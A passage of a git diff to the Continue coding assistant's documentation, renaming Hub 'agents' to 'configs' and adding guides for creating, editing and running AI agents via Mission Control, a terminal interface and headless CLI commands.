+The decision between Hub and Local configs often comes down to your specific needs and constraints. Here's a framework to help you decide:
-### Choose Hub Agents When You:
+### Choose Hub Configs When You:
**Value Convenience Over Control**
@@ -106,7 +116,7 @@ The decision between Hub and Local agents often comes down to your specific need
**Need Advanced Collaboration**
-- Want to share custom agents with teammates
+- Want to share custom configs with teammates
- Need centralized API key management
- Require quick updates across your entire organization
@@ -116,7 +126,7 @@ The decision between Hub and Local agents often comes down to your specific need
- Want to experiment with different models and configurations
- Prefer guided setup experiences
-### Choose Local Agents When You:
+### Choose Local Configs When You:
**Require Maximum Control**
@@ -140,21 +150,21 @@ The decision between Hub and Local agents often comes down to your specific need
Here's a secret: you don't have to choose just one. Many developers use both approaches:
-- **Hub Agents** for general development and experimentation
-- **Local Agents** for production work or client projects with specific requirements
+- **Hub Configs** for general development and experimentation
+- **Local Configs** for production work or client projects with specific requirements
-You can switch between them seamlessly using the agent selector in your IDE.
+You can switch between them seamlessly using the configs selector in your IDE.
## Common Patterns and Best Practices
-### For Hub Agent Users
+### For Hub Config Users
-1. **Start with Community Agents**: Before creating your own, explore what others have built
+1. **Start with Community Configs**: Before creating your own, explore what others have built
2. **Use Secrets Properly**: Never hardcode API keys—always use the User Secrets feature
-3. **Create Specialized Agents**: Make different agents for different contexts (frontend, backend, DevOps)
+3. **Create Specialized Configs**: Make different configs for different contexts (frontend, backend, DevOps)
4. **Share Liberally**: If you create something useful, share it with the community
-### For Local Agent Users
+### For Local Config Users
1. **Version Control Your Config**: Treat your `config.yaml` like code—commit it, review changes, and maintain history
2. **Use Environment Variables**: For sensitive data, reference environment variables instead of hardcoding values
@@ -163,7 +173,7 @@ You can switch between them seamlessly using the agent selector in your IDE.
## Troubleshooting and Tips
-### Hub Agent Issues
+### Hub Config Issues
**Changes Not Reflecting?**
@@ -171,12 +181,12 @@ You can switch between them seamlessly using the agent selector in your IDE.
- Check your internet connection
- Ensure you're signed in to the correct account
-**Agent Not Available?**
+**Config Not Available?**
- Verify it's added to your account on the hub
- Check if it requires specific API keys
-### Local Agent Issues
+### Local Config Issues
**Config Not Loading?**
@@ -193,7 +203,7 @@ You can switch between them seamlessly using the agent selector in your IDE.
Now that you understand both configuration approaches, you're ready to dive deeper:
-- **For Hub Users**: [Create Your First Agent](/hub/agents/create-an-agent)
+ - **For Hub Users**: [Create A Config](/hub/configs/create-a-config)
- **For Local Users**: [Explore the Config Reference](/reference)
- **For Everyone**: [Discover Available Models](/customize/model-providers/overview)
diff --git a/docs/home.mdx b/docs/home.mdx
index e2c79a939..63280ca84 100644
--- a/docs/home.mdx
+++ b/docs/home.mdx
@@ -12,11 +12,11 @@ description: "Learn how Continue enables developers to embrace continuous AI, en
**You can use Continue to build and run custom agents across your IDE, terminal, and CI.**
1. Get started with Continue in [VS Code](https://marketplace.visualstudio.com/items?itemName=Continue.continue) or [JetBrains](https://plugins.jetbrains.com/plugin/22707-continue-extension) extensions:
-- [Agent](/features/agent/quick-start) to work on development tasks together with AI
-- [Chat](/features/chat/quick-start) to ask general questions and clarify code sections
-- [Edit](/features/edit/quick-start) to modify code section without leaving your current file
-- [Autocomplete](/features/autocomplete/quick-start) to receive inline code suggestions as you type
+- [Agent mode](/ide-extensions/agent/quick-start) to work on development tasks together with AI
+- [Chat mode](/ide-extensions/chat/quick-start) to ask general questions and clarify code sections
+- [Edit mode](/ide-extensions/edit/quick-start) to modify code section without leaving your current file
+- [Autocomplete](/ide-extensions/autocomplete/quick-start) to receive inline code suggestions as you type
2. Try out [Continue CLI (cn)](https://docs.continue.dev/guides/cli) and give us feedback
-3. Discover the models, rules, and MCP tools you need to create a custom AI coding agent on [Continue Hub](https://hub.continue.dev/)
+3. Discover the models, prompts, rules, MCP tools, and agents you need to automate your workflows with AI on [Continue Hub](https://hub.continue.dev/)
diff --git a/docs/hub/agents/create-an-agent.mdx b/docs/hub/agents/create-an-agent.mdx
deleted file mode 100644
index f518c48f5..000000000
--- a/docs/hub/agents/create-an-agent.mdx
+++ /dev/null
@@ -1,34 +0,0 @@
----
-title: "How to Create an AI Agent"
-description: "Learn how to create custom AI coding agents in Continue Hub by remixing existing agents or building new ones from scratch with reusable blocks and YAML configuration."
-sidebarTitle: "Create an AI Agent"
----
-
-## How to Create an AI Agent from Scratch
-
-To create an agent from scratch, select “New agent” in the top bar.
-
-
-
-Choose a name, slug, description, and icon for your agent.
-
-The easiest way to create an agent is to click "Create agent" with the default configuration and then add / remove blocks using the sidebar.
-
-Alternatively, you can edit the agent YAML directly before clicking "Create agent". Refer to examples of agents on [hub.continue.dev](https://hub.continue.dev) and visit the [YAML Reference](/reference#complete-yaml-config-example) docs for more details.
-
-
-
-## How to Remix an Agent
-
-You can also create an agent by remixing an existing one. This is useful if you want to start with a pre-configured agent and make modifications.
-
-By clicking the “remix” button, you’ll be taken to the “Create a remix” page.
-
-
-
-Once here, you’ll be able to
-
-1. add or remove blocks in YAML configuration
-2. change the name, description, icon, etc.
-
-Clicking “Create agent” will make this agent available for use.
diff --git a/docs/hub/agents/create-and-edit.mdx b/docs/hub/agents/create-and-edit.mdx
new file mode 100644
index 000000000..58be7b5ea
--- /dev/null
+++ b/docs/hub/agents/create-and-edit.mdx
@@ -0,0 +1,261 @@
+---
+title: "Create and Edit Agents"
+description: "Build custom AI workflows with prompts, rules, and tools through the Continue Hub interface"
+sidebarTitle: "Create & Edit"
+---
+
+
+ You can only create and edit Agents through Mission Control in the Continue Hub web interface.
+ This ensures proper validation, versioning, and team collaboration features.
+
+
+## Try an Agent First: Your 60-Second Challenge
+
+Before creating your own agent, let's see one in action! The fastest way to experience the power of Continue agents is with our demo repository.
+
+
+
+### See an Agent Create a Pull Request in Under 60 Seconds
+
+
+
+ Get a safe sandbox to experiment with:
+
+ **Option 1: GitHub Web Interface**
+ Visit [github.com/continuedev/demo-project](https://github.com/continuedev/demo-project) and click **Fork**
+
+ **Option 2: GitHub CLI**
+ ```bash
+ gh repo fork continuedev/demo-project
+ ```
+
+
+
+ Go to [hub.continue.dev/agents](https://hub.continue.dev/agents) and:
+ - **Connect GitHub** and authorize Continue when prompted
+ - This gives agents access to create PRs in your repositories
+
+
+
+ **Target your forked demo repo** and try one of these commands:
+
+
+
+ ```
+ Create a new function that calculates fibonacci numbers.
+ ```
+
+
+
+ ```
+ Fix the TypeError in api/users.ts
+ ```
+
+
+
+ ```
+ Add comprehensive README documentation with setup instructions.
+ ```
+
+
+
+
+
+ **Result:** A fully-formed Pull Request opens in your demo repo with:
+ - Complete implementation or fix
+ - Proper commit messages
+ - Detailed PR description
+ - Ready for review and merge
+
+
+
+
+ **Why Use the Demo Repo?**
+ - **Safe testing environment** - No risk to your production code
+ - **Pre-configured issues** - Common bugs and features to practice with
+ - **Immediate results** - See agents in action without setup complexity
+ - **Learn by example** - Study the generated code and PR descriptions
+
+
+
+ Once you see how agents work with the demo repo, you'll understand exactly how to create and customize your own for real projects!
+
+
+---
+
+## Creating an Agent
+
+ 
+
+
+
+
+ From the Continue Hub top navigation bar, select **"+"** → **"New Agent"**.
+
+ This opens the **Create an Agent (beta)** form with all required fields.
+
+
+
+
+ Configure your agent with the following fields:
+
+ | Field | What to Enter | Example |
+ |-------|---------------|---------|
+ | **Name** | Display name shown in the Hub | `GitHub PR Agent` |
+ | **Prompt** | First instruction the agent receives | `Open a GitHub PR to fix the specified issue.` |
+ | **Description** | What the agent does | `Creates a pull request and includes AI-generated summaries.` |
+ | **Tools (MCPs)** | Select built-in or custom MCPs | `GitHub, PostHog, Supabase` |
+ | **Rules** | Add any organizational rules | `continuedev/gh-pr-commit-workflow, continuedev/summarization` |
+ | **Model** | Choose a default LLM | `Claude Sonnet 4.5` |
+ | **Owner + Slug** | Determines namespace | `my-org/github-pr-agent` |
+ | **Visibility** | Access level | `Public, Organization, or Private` |
+
+
+ **Tip**: Start with a simple prompt and add complexity through rules and tools. The prompt should be a clear, single instruction that defines the agent's primary goal.
+
+
+
+
+ As you fill in the fields, the right-hand panel shows a live preview of your agent's YAML configuration:
+
+ ```yaml
+ name: Open PR with Fix
+ description: Open a GitHub PR to fix the specified issue
+ tools: built_in, anthropic/github-mcp
+ rules:
+ - continuedev/gh-pr-commit-workflow
+ - continuedev/summarization
+ model: Claude Sonnet 4.5
+ visibility: public
+ ```
+
+ This preview helps you verify the configuration before creating the agent.
+
+
+
+ Click **"Create Agent"** to save and publish it.
+
+ Your agent is immediately available to run in:
+ - Mission Control web interface
+ - TUI mode: `cn --agent your-org/your-agent-name`
+ - Headless mode: `cn --agent -p your-org/your-agent-name "prompt" --auto`
+
+
+
+## Editing an Agent
+
+You can edit any agent you own or that belongs to your organization.
+
+
+
+ From the **Agents** page or Mission Control view, click your agent's name, then select **"Edit Agent"**.
+
+
+
+ You can modify any of these components:
+
+
+
+ **Refine task behavior**
+
+ ```
+ # Before
+ Fix the bug in the authentication system
+
+ # After
+ Fix the authentication bug by:
+ 1. Identifying the root cause
+ 2. Implementing a secure solution
+ 3. Adding appropriate tests
+ 4. Opening a PR with detailed explanation
+ ```
+
+
+
+ **Enforce team standards**
+
+ Add or remove organizational rules:
+ - `continuedev/security-first` - Always scan for vulnerabilities
+ - `continuedev/test-coverage` - Require tests for new code
+ - `my-org/style-guide` - Follow company coding standards
+
+
+
+ **Connect additional systems**
+
+ - Add GitHub MCP for repository operations
+ - Include Sentry MCP for error monitoring
+ - Connect Supabase MCP for database operations
+ - Use custom MCPs for internal tools
+
+
+
+ **Adjust behavior and access**
+
+ - **Model**: Switch between Claude, GPT-4, or other supported LLMs
+ - **Visibility**: Control who can see and use the agent
+ - Public: Anyone can discover and use
+ - Organization: Only your team members
+ - Private: Only you can access
+
+
+
+
+
+ Click **"Update Agent"** when finished.
+
+ The updated version is instantly available to your team with automatic versioning for change tracking.
+
+
+
+
+ Test your agent thoroughly to ensure they interact as expected.
+
+
+## Example Agent Configurations
+
+Here are proven agent configurations you can create or use as inspiration:
+
+
+
+ **Snyk Continuous AI Agent** - Comprehensive security scanning with Snyk MCP integration.
+
+ Automates dependency analysis, vulnerability scanning, and creates remediation PRs with AI-powered fix suggestions.
+
+
+
+ **Netlify Continuous AI Agent** - Performance optimization with A/B testing and monitoring.
+
+ Tracks Core Web Vitals, identifies regressions, and provides optimization recommendations.
+
+
+
+ **Sentry Continuous AI Agent** - Automated error analysis and issue creation.
+
+ Monitors production errors, provides root cause analysis, and creates actionable GitHub issues.
+
+
+
+ **GitHub Manager AI Agent** - Comprehensive GitHub workflow automation.
+
+ Handles issue triage, PR reviews, and release note generation with natural language prompts.
+
+
+
+ **Supabase Continuous AI Agent** - Database security and management workflows.
+
+ Audits Row Level Security, identifies vulnerabilities, and generates fixes automatically.
+
+
+
+
+## Troubleshooting
+
+Common issues and solutions:
+
+| Problem | Solution |
+|---------|----------|
+| **Agent doesn't complete tasks** | Simplify the prompt, add more specific instructions, verify tool permissions |
+| **Tools aren't working** | Check MCP configuration, verify API keys and permissions in Hub settings |
+| **Inconsistent behavior** | Add rules to enforce consistent patterns, test with various input scenarios |
+| **Performance issues** | Consider model choice, simplify complex multi-step workflows, optimize tool usage |
diff --git a/docs/hub/agents/edit-an-agent.mdx b/docs/hub/agents/edit-an-agent.mdx
deleted file mode 100644
index d4f74fd5b..000000000
--- a/docs/hub/agents/edit-an-agent.mdx
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: "How to Edit an Agent"
-description: "New versions of an agent can be created and published using the sidebar."
----
-
-
-
-First, select an agent from the dropdown at the top.
-
-While editing an agent, you can explore the hub and click "Add Block" from a block page to add it to your agent.
-
-For blocks that require secret values like API keys, you will see a small notification on the block's tile in the sidebar that will indicate if action is needed.
-
-To delete a block, click the trash icon.
-
-If a block you want to use does not exist yet, you can [create a new block](/hub/blocks/create-a-block).
-
-When you are done editing, click "Publish" to publish a new version of the agent.
-
-Click "Open VS Code" or "Open JetBrains" to open your IDE for using the agent.
diff --git a/docs/hub/agents/intro.mdx b/docs/hub/agents/intro.mdx
index 7747c8145..7cfb49b1e 100644
--- a/docs/hub/agents/intro.mdx
+++ b/docs/hub/agents/intro.mdx
@@ -1,8 +1,190 @@
---
-title: "Introduction to Agents"
-description: "Custom AI code agents are configurations of building blocks that enable a coding experience tailored to your specific use cases."
+title: "Getting Started with Agents"
+description: "Quick start guide for running AI workflows in Mission Control"
+sidebarTitle: "Getting Started"
---
-`config.yaml` is a format for defining custom AI code agents. An agent has some top-level properties (e.g. `name`, `version`), but otherwise consists of composable lists of **blocks** such as `models` and `rules`, which are the atomic building blocks of an agent.
+
+ Mission Control is your web interface for running and managing AI agents. Get started in minutes with pre-built workflows for security scanning, GitHub management, analytics insights, and more.
+
-The `config.yaml` is parsed by the open-source Continue IDE extensions to create custom agent experiences. When you log in to [hub.continue.dev](https://hub.continue.dev/), your agents will automatically be synced with the IDE extensions.
+
+ Mission Control is in beta. Please share any feedback with us in [GitHub discussions](https://github.com/continuedev/continue/discussions/8051).
+
+
+Use Mission Control to kick off agents for:
+- **Bug fixes & code quality** - Address nitpicks and technical debt
+- **Feature development** - Build boilerplate-heavy features
+- **Security & compliance** - [Automated vulnerability scanning](../../guides/snyk-mcp-continue-cookbook)
+- **Investigation & analysis** - Research issues to kickstart your work
+- **Custom workflows** - Run repeatable tasks with your own rules and prompts
+
+## Quick Start
+
+
+
+ Go to [hub.continue.dev/agents](https://hub.continue.dev/agents) and connect with your GitHub account.
+
+ 
+
+
+
+ Select from pre-configured agents or create your own:
+
+
+
+ `continuedev/snyk-continuous-ai-agent`
+ Finds vulnerabilities and creates fix PRs
+
+
+
+ `continuedev/github-project-manager-agent`
+ Triages issues and manages workflows
+
+
+
+
+
+ Enter a prompt and watch your agent work:
+
+ ```
+ "Fix the TypeError in api/users.ts and open a PR with tests"
+ ```
+
+
+
+
+ **New to agents?** Check out our [pre-configured agents](/hub/agents/overview#pre-configured-agents) to test out a workflow immediately.
+
+
+## Example Workflow Tasks
+
+Here are some example tasks you can try with your agents:
+
+
+
+
+ - "Fix the TypeError in api/users.ts where the user object might be undefined"
+ - "Add null checks to all database query results in the services/ directory"
+ - "Fix all ESLint warnings in the components folder and open a PR"
+ - "Update deprecated React lifecycle methods to hooks in legacy components"
+
+
+
+
+
+ - "Create a new REST endpoint for user profile updates with validation and error handling"
+ - "Add pagination to the products list page with previous/next buttons"
+ - "Implement dark mode toggle using Tailwind CSS classes across all pages"
+ - "Add unit tests for the authentication service using Jest"
+
+
+
+
+
+ - "Run a complete security scan and create GitHub issues for critical vulnerabilities"
+ - "Scan the codebase for hardcoded API keys and move them to environment variables"
+ - "Add input sanitization to all user-facing form fields"
+ - "Update npm packages with security vulnerabilities and test compatibility"
+
+
+
+
+
+ - "Add JSDoc comments to all exported functions in the utils/ directory"
+ - "Create a README.md for the new payment-processing module with setup instructions"
+ - "Generate TypeScript interfaces for all API response schemas"
+ - "Add error handling boilerplate to all async functions missing try-catch blocks"
+
+
+
+
+
+ - "Investigate why the login API is returning 500 errors intermittently and suggest fixes"
+ - "Analyze the performance bottleneck in the data processing pipeline"
+ - "Review the database schema for the orders table and suggest optimizations"
+ - "Find all TODO comments related to authentication and create a summary"
+
+
+
+
+
+ - "Extract the repeated validation logic in controllers into a shared utility function"
+ - "Convert all class components in src/legacy to functional components with hooks"
+ - "Rename all instances of 'userId' to 'accountId' across the codebase"
+ - "Split the 500-line UserService.ts into smaller, single-responsibility services"
+
+
+
+
+## Ways to Run Agents
+
+Choose the method that fits your workflow:
+
+
+
+ **Web interface for interactive use**
+
+ Perfect for:
+ - Exploring agent capabilities
+ - Reviewing outputs before action
+ - Team collaboration
+ - One-time tasks
+
+ Access at [hub.continue.dev/agents](https://hub.continue.dev/agents)
+
+
+
+ **Terminal interface for development**
+
+ ```bash
+ cn --agent continuedev/github-project-manager-agent
+ ```
+
+ Perfect for:
+ - Local development workflows
+ - Testing agent behavior
+ - Interactive debugging
+ - Quick iterations
+
+
+
+ **Automated execution for CI/CD**
+
+ ```bash
+ cn --agent continuedev/snyk-continuous-ai-agent -p "Run security scan" --auto
+ ```
+
+ Perfect for:
+ - Scheduled workflows
+ - CI/CD integration
+ - Webhook triggers
+ - Background processing
+
+
+
+## Best Practices for Success
+
+The practice of using agents (Continuous AI) requires thoughtful setup of guardrails and habits:
+
+
+
+ Begin with tasks you're confident Continue can handle, like fixing known bugs with simple solutions.
+
+
+
+ Test with [Continue CLI](../../guides/cli) in TUI mode before deploying automation.
+
+
+
+ Agents can run for extended periods - invest time in detailed prompts with all important context.
+
+
+
+ Discuss agent usage and adjust code review habits for higher PR volumes.
+
+
+
+
+ **Learn More**: Explore advanced patterns and case studies on the [Continuous AI Blog](https://blog.continue.dev).
+
diff --git a/docs/hub/agents/overview.mdx b/docs/hub/agents/overview.mdx
new file mode 100644
index 000000000..e4dc90a02
--- /dev/null
+++ b/docs/hub/agents/overview.mdx
@@ -0,0 +1,201 @@
+---
+title: "Agents Overview"
+description: "Standardized AI workflows that combine prompts, rules, and tools to complete specific, repeatable tasks"
+sidebarTitle: "Overview"
+---
+
+
+ Agents are custom AI workflows that combine a prompt, rules, and tools (MCPs and more) to complete specific, repeatable tasks.
+ They live in the Continue Hub and can be executed from Mission Control (web interface), TUI mode, or headless automation.
+
+
+## What Are Agents?
+
+Agents let your team standardize common workflows like opening GitHub PRs, summarizing analytics, or auditing security. Each agent includes:
+
+### Agent Components
+
+| **Component** | **Description** | **Example** |
+|----------------|-----------------|--------------|
+| **Prompt** | The agent’s main instruction that defines what it does and how it should behave. Additional user input is appended when invoked. | Example prompt: “Summarize ongoing work with status, blockers, and next steps. Use markdown formatting and a concise, professional tone.” |
+| **Rules** | Define consistent standards or behaviors that guide how the agent responds. Rules help ensure reliability across team usage. | “Always include related issue or PR links when summarizing work.” |
+| **Tools / MCPs** | External systems or integrations the agent can call to complete tasks. MCPs (Model Context Protocols) extend functionality through APIs. | GitHub, PostHog, Supabase |
+| **Model** | The large language model that powers the agent’s reasoning and output generation. | Claude Sonnet 4.5 |
+| **Visibility** | Determines who can view or use the agent. Controls access at creation time. | Public, Organization, or Private |
+
+
+ Mission Control is in beta. Please share any feedback with us in [GitHub discussions](https://github.com/continuedev/continue/discussions/8051).
+
+
+## Ways to Run Agents
+
+You can run Agents in three main ways:
+
+
+
+ **Interactive web interface**
+
+ Trigger from the Continue Hub and review results in real-time.
+
+ ```bash
+ # Navigate to hub.continue.dev/agents
+ # Click "Run Agent" on any agent
+ # Monitor progress and review outputs
+ ```
+
+ Perfect for: Interactive debugging, reviewing agent outputs, team collaboration
+
+
+
+ **Interactive terminal mode**
+
+ Launch from terminal for live interaction and testing.
+
+ ```bash
+ cn --agent my-org/github-pr-agent
+ # Interactive chat interface opens
+ # Type your specific request
+ # Review and approve actions
+ ```
+
+ Perfect for: Local development, testing prompts, quick one-off tasks
+
+
+
+ **Automated execution**
+
+ Run one-off or scheduled tasks automatically without interaction.
+
+ ```bash
+ cn -p --agent my-org/snyk-agent "Run weekly security scan" --auto
+ ```
+
+ Perfect for: CI/CD pipelines, scheduled tasks, webhook integrations
+
+
+
+## Pre-configured Agents
+
+Skip the setup and use battle-tested agents from our cookbook collection:
+
+
+
+ `continuedev/snyk-continuous-ai-agent`
+ Finds vulnerabilities and opens PRs with fixes
+
+
+
+ `continuedev/github-project-manager-agent`
+ Triages issues and manages project workflows
+
+
+
+ `continuedev/posthog-continuous-ai-agent`
+ Analyzes user data and creates actionable tasks
+
+
+
+ `continuedev/netlify-continuous-ai-agent`
+ Monitors Core Web Vitals and optimizes deployments
+
+
+
+ `continuedev/supabase-agent`
+ Audits RLS security and generates migrations
+
+
+
+ `continuedev/dlt-agent`
+ Inspects pipelines and debugs load errors
+
+
+
+
+ **Explore More Agents**: Browse the complete collection of pre-configured agents and MCP integration cookbooks in our [Guides Overview](/guides/overview#mcp-integration-cookbooks).
+
+
+{/* ## Webhook Integrations
+
+Trigger Agents automatically through secure webhooks for CI/CD integration:
+
+```bash
+POST /webhooks/ingest/:webhookId
+{
+ "payload": { "trigger": "nightly-security-scan" }
+}
+```
+
+Perfect for connecting with:
+- GitHub Actions workflows
+- Monitoring alerts (Sentry, DataDog)
+- Deployment pipelines
+- Scheduled maintenance tasks */}
+
+## Collaboration
+
+Agents are organizational assets — once created, everyone in your org can use them:
+
+| Role | Permissions |
+|------|-------------|
+| **Public** | Use, create, remix, and delete Agents |
+| **Organization** | Share agents with your team |
+| **Private** | Create, edit, and delete Agents for your personal use |
+
+## Getting Started
+
+
+
+ Start with a cookbook agent like `continuedev/github-project-manager-agent`:
+
+ ```bash
+ cn --agent continuedev/github-project-manager-agent "List open issues labeled bug"
+ ```
+
+
+
+ Test agents locally before automation:
+
+ ```bash
+ cn --agent continuedev/snyk-continuous-ai-agent
+ # Interactive mode - perfect for learning how to use the agent for your use case
+ ```
+
+
+
+ Ready to build custom workflows? Learn how in our [Create and Edit guide](/hub/agents/create-and-edit).
+
+
+
+ Integrate with CI/CD using headless mode and webhooks for continuous workflows.
+
+
+
+## Best Practices
+
+The practice of using background agents, which we call Continuous AI, requires forethought to set up the right guardrails:
+
+- **Start Small**: Begin with tasks you're confident Continue can accomplish
+- **Use Thorough Prompts**: Agents can run for extended periods, so invest in detailed instructions
+- **Test Locally First**: Practice with TUI mode before deploying to production
+- **Team Alignment**: Discuss agent usage and adjust code review habits for higher PR volume
+- **Iterate and Improve**: Be willing to refine prompts based on results
+
+## Next Steps
+
+
+
+ Build your first custom agent with prompts, rules, and tools
+
+
+
+ Browse pre-built agents for security, analytics, and more
+
+
+
+ Learn to run agents from the command line
+
+
+
+ Access the web interface to manage agents
+
+
\ No newline at end of file
diff --git a/docs/hub/agents/use-an-agent.mdx b/docs/hub/agents/use-an-agent.mdx
deleted file mode 100644
index afefad9a3..000000000
--- a/docs/hub/agents/use-an-agent.mdx
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: "How to Use an Agent"
-description: "Learn how to add, configure, and use an AI agent in Continue, including setting required inputs and selecting it in your IDE extension."
----
-
-## Steps to Use an AI Agent in Continue
-
-Once you've found the agent you want to use on Continue Hub:
-
-1. Click “Add Agent” on its page
-2. Add any required inputs (e.g. secrets like API keys)
-3. Select “Save changes” in agent sidebar on the right hand side
-
-After saving, open your IDE extension and:
-
-- Select the agent from the **agent dropdown** in the Continue extension.
-- Begin using it for chat, code generation, or other configured capabilities.
-
-
diff --git a/docs/hub/blocks/block-types.mdx b/docs/hub/blocks/block-types.mdx
deleted file mode 100644
index 461072d46..000000000
--- a/docs/hub/blocks/block-types.mdx
+++ /dev/null
@@ -1,34 +0,0 @@
----
-title: "Blocks: Models, Rules, Prompts, and MCP servers"
-sideBarTitle: "Block Types"
-description: "Explore the different types of reusable blocks in Continue Hub including models, MCP servers, rules, and prompts"
----
-
-## Models
-
-Models are blocks that let you specify Large Language Models (LLMs) and other deep learning models to be used for various roles in the open-source IDE extension like Chat, Autocomplete, Edit, Embed, Rerank, etc. You can explore available models on [the hub](https://hub.continue.dev/explore/models).
-
-Continue supports [many model providers](/customize/model-providers), including Anthropic, OpenAI, Gemini, Ollama, Amazon Bedrock, Azure, xAI, DeepSeek, and more. Models can have one or more of the following roles depending on its capabilities, including `chat`, `edit`, `apply`, `autocomplete`, `embed`, and `rerank`. Read more about roles [here](/customize/model-roles). View [`models`](/reference#models) in the YAML Reference for more details.
-
-
-
-## MCP Servers
-
-Model Context Protocol (MCP) is a standard way of building and sharing tools for language models. MCP Servers can be defined in `mcpServers` blocks. [Explore MCP Servers](https://hub.continue.dev/explore/mcp) on the hub.
-
-Learn more in the [MCP deep dive](/customize/deep-dives/mcp), and view [`mcpServers`](/reference#mcpservers) in the YAML Reference for more details.
-
-## Rules
-
-Rules blocks are instructions that your custom AI code agent will always keep in mind - the contents of rules are inserted into the system message for all Chat requests. [Explore rules](https://hub.continue.dev/explore/rules) on the hub.
-
-Learn more in the [rules deep dive](/customize/deep-dives/rules), and view [`rules`](/reference#rules) in the YAML Reference for more details.
-
-## Prompts
-
-Prompts blocks are pre-written, reusable prompts that can be referenced at any time during chat. They are especially useful as context for repetitive and/or complex tasks. [Explore prompts](https://hub.continue.dev/explore/prompts) on the hub.
-
-Prompt blocks are pre-written, reusable prompts that can be referenced at any time during chat. They are especially useful as context for repetitive and/or complex tasks. [Explore prompts](https://hub.continue.dev/explore/prompts) on the hub.
-Prompt blocks have the same syntax as [prompt files](/customize/deep-dives/prompts). The `config.yaml` spec for `prompts` can be found [here](/reference#prompts).
-
-
diff --git a/docs/hub/blocks/create-a-block.mdx b/docs/hub/blocks/create-a-block.mdx
deleted file mode 100644
index 3b59267a8..000000000
--- a/docs/hub/blocks/create-a-block.mdx
+++ /dev/null
@@ -1,29 +0,0 @@
----
-title: "How to Create a Block"
-sidebarTitle: "Create a Block"
-description: "Learn how to create and remix reusable blocks in Continue Hub for sharing configuration components like models, prompts, and tools with customizable inputs and template variables"
----
-
-## How to Remix a Block
-
-You should remix a block if you want to use it after some modifications.
-
-By clicking the “remix” button, you’ll be taken to the “Create a remix” page.
-
-
-
-Once here, you’ll be able to 1) edit YAML configuration for the block and 2) change name, description, icon, etc. Clicking “Create block” will make this block available for use in an agent.
-
-## How to Create a Block from Scratch
-
-To create a block from scratch, you will need to click “New block” in the top bar.
-
-
-
-After filling out information on the block, you will want to create a block following the `config.yaml` [reference documentation](/reference). Refer to examples of blocks on [hub.continue.dev](https://hub.continue.dev/explore/models) and visit the [YAML Reference](/reference#complete-yaml-config-example) docs for more details.
-
-
-
-### Block Inputs
-
-Blocks can receive values, including secrets, as inputs through templating. For values that the user of the block needs to set, you can use template variables (e.g. `${{ inputs.API_KEY}}`). Then, the user can set `API_KEY: ${{ secrets.MY_API_KEY }}` in the `with` clause of their agent.
diff --git a/docs/hub/blocks/intro.mdx b/docs/hub/blocks/intro.mdx
deleted file mode 100644
index 7180b3f63..000000000
--- a/docs/hub/blocks/intro.mdx
+++ /dev/null
@@ -1,6 +0,0 @@
----
-title: "Introduction"
-description: "Blocks are the components you use to build a custom AI code agent. These include Models, MCP Servers, Rules, and Prompts."
----
-
-Blocks follow the [`config.yaml`](/reference) format. When combined with other blocks into a complete `config.yaml`, they form a custom AI code agent.
diff --git a/docs/hub/blocks/use-a-block.mdx b/docs/hub/blocks/use-a-block.mdx
deleted file mode 100644
index ed5ff7cb3..000000000
--- a/docs/hub/blocks/use-a-block.mdx
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: "How to Use a Block"
-description: "Learn how to use blocks in Continue Hub to enhance your AI code agent."
----
-
-Blocks are used to build custom AI code agents in Continue Hub. Learn more:
-
-- [Create an agent](/hub/agents/create-an-agent)
-- [Edit an agent](/hub/agents/edit-an-agent)
-
-Some blocks require inputs. If you are missing an input for a block, a notification icon will show up in the sidebar next to the block. Click the notification to select which secret to use for the block input:
-
-
diff --git a/docs/hub/configs/create-a-config.mdx b/docs/hub/configs/create-a-config.mdx
new file mode 100644
index 000000000..04a7a026e
--- /dev/null
+++ b/docs/hub/configs/create-a-config.mdx
@@ -0,0 +1,30 @@
+---
+title: "How to Create a Config"
+description: "Learn how to create custom AI coding configs in Continue Hub by remixing existing configs or building new ones from scratch with reusable blocks and YAML configuration."
+sidebarTitle: "Create a Config"
+---
+
+## How to Create a Config from Scratch
+
+To create an config from scratch, select “New config” in the top bar.
+
+Choose a name, slug, description, and icon for your config.
+
+The easiest way to create an config is to click "Create config" with the default configuration and then add / remove blocks using the sidebar.
+
+Alternatively, you can edit the config YAML directly before clicking "Create config". Refer to examples of configs on [hub.continue.dev](https://hub.continue.dev) and visit the [YAML Reference](/reference#complete-yaml-config-example) docs for more details.
+
+
+
+## How to Remix a Config
+
+You can also create an config by remixing an existing one. This is useful if you want to start with a pre-configured config and make modifications.
+
+By clicking the “remix” button, you’ll be taken to the “Create a remix” page.
+
+Once here, you’ll be able to
+
+1. add or remove components from the config.
+2. change the name, description, icon, etc.
+
+Clicking “Create config” will make this config available for use.
diff --git a/docs/hub/configs/edit-a-config.mdx b/docs/hub/configs/edit-a-config.mdx
new file mode 100644
index 000000000..5e1dd3c14
--- /dev/null
+++ b/docs/hub/configs/edit-a-config.mdx
@@ -0,0 +1,19 @@
+---
+title: "How to Edit a Config"
+description: "New versions of a config can be created and published using the sidebar."
+---
+
+First, select a config either from the Hub search or one that you've installed.
+
+While editing a config, you can explore the hub and click "+" to add it to your config.
+
+For tools or models that require secret values like API keys, you will see a small notification on its tile that will indicate if action is needed.
+
+
+To delete part of your config, you can remove it from the yaml.
+
+If a rule, prompt, or tool you want to use does not exist yet, you can [create it](/hub/introduction#creating-components).
+
+When you are done editing, click "Publish" to publish a new version of the config.
+
+Reload your terminal or IDE to use the latest version of the config in your agents.
\ No newline at end of file
diff --git a/docs/hub/configs/intro.mdx b/docs/hub/configs/intro.mdx
new file mode 100644
index 000000000..69094b8e7
--- /dev/null
+++ b/docs/hub/configs/intro.mdx
@@ -0,0 +1,100 @@
+---
+title: "Introduction to Configs"
+description: "Custom configuration options include Models, MCP Servers, Rules, Prompts, etc."
+sidebarTitle: "Configs"
+---
+
+
+## What Are Configs?
+
+Configs are flexible containers that combine multiple components to create powerful AI coding experiences using the Continue CLI or the Extensions. A single config can include:
+
+
+
+
+
+ Large Language Models for chat, autocomplete, editing, and more
+
+
+
+
+
+ Model Context Protocol servers that provide tools and capabilities
+
+
+
+
+
+ Guidelines that shape AI behavior and responses
+
+
+
+
+
+ Reusable instructions for common coding tasks
+
+
+
+
+
+## How Configs Work
+
+Think of configs as recipes for AI assistance. Each config defines:
+
+- **What models** to use for different tasks (chat, autocomplete, code editing)
+- **Which tools** are available through MCP servers
+- **How the AI behaves** through rules and guidelines
+- **Pre-built prompts** for common workflows
+
